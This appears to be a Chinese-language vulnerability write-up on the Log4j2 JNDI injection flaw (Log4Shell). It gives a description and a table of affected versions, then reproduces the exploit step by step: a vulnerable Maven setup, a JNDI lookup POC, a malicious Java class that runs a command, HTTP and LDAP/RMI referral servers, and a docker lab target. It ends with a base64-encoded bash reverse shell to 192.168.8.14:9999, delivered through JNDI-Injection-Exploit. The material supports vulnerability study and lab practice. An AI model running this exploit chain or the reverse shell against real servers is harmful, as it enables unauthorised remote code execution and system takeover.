目录
一、漏洞描述
log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。
由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用 Log4j2 提供的 lookup 功能通过一些协议去读取相应环境中的配置。但在实现的过程中,组件并未对输入进行严格的判断。攻击者可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。
同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。
二、影响范围
用户认证:不需要用户认证
触发方式:远程
配置方式:默认
利用条件:需要外网访问权限
影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
利用难度:极低,无需授权即可远程代码执行
威胁等级:严重,能造成远程代码执行
综合评估漏洞利用难度极低,利用要求较少,影响范围很大,危害极其严重,且已经被黑客公开利用持续全网扫描,根据部里要求,需要紧急修复。
三、漏洞复现
1、创建一个maven项目,并导入log4j的依赖包
pom.xml
如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
2、编写POC
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:8899/Log4jRCE}");
}
}
3、编写恶意类
public class Log4jRCE {
static {
try {
String [] cmd={
"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
然后编译为class文件
javac Log4jRCE.java
注意:这里Log4jRCE.java不要放在项目里,我这里将Log4jRCE.class放到了其他目录,不然log4j.java运行时会读取到本地的Log4jRCE,就不是http远程下载了。
4、起http服务
使用python在存放恶意类文件目录下起一个Http服务
python2 -m SimpleHTTPServer 1234
浏览器访问一下
5、编译并开启LDAP服务
下载marshalsec 项目 https://github.com/mbechler/marshalsec
java8下,使用 maven 构建mvn clean package -DskipTests 生成相应jar包
启动LDAP服务,监听8899端口,并制定远程加载类Log4jRCE.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.8.14:1234/#Log4jRCE" 8899
6、运行POC
运行log4j.java,即可访问恶意类并执行写在其中的"calc"命令
四、反弹shell
1、靶场搭建
使用 docker 拉取漏洞镜像
docker pull vulfocus/log4j2-rce-2021-12-09:latest
启动漏洞环境
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
2、访问漏洞环境,环境部署成功
3、起RMI和Ldap服务
反弹shell命令
bash -i >& /dev/tcp/192.168.8.14/9999 0>&1
访问网址:https://www.jackson-t.ca/runtime-exec-payloads.html,将反弹shell命令经过exec()变形如下:
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{
base64,-d}|{
bash,-i}
需要用到JNDI-Injection-Exploit(https://github.com/welk1n/JNDI-Injection-Exploit
)启动⼀个rmi和ldap服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.8.14"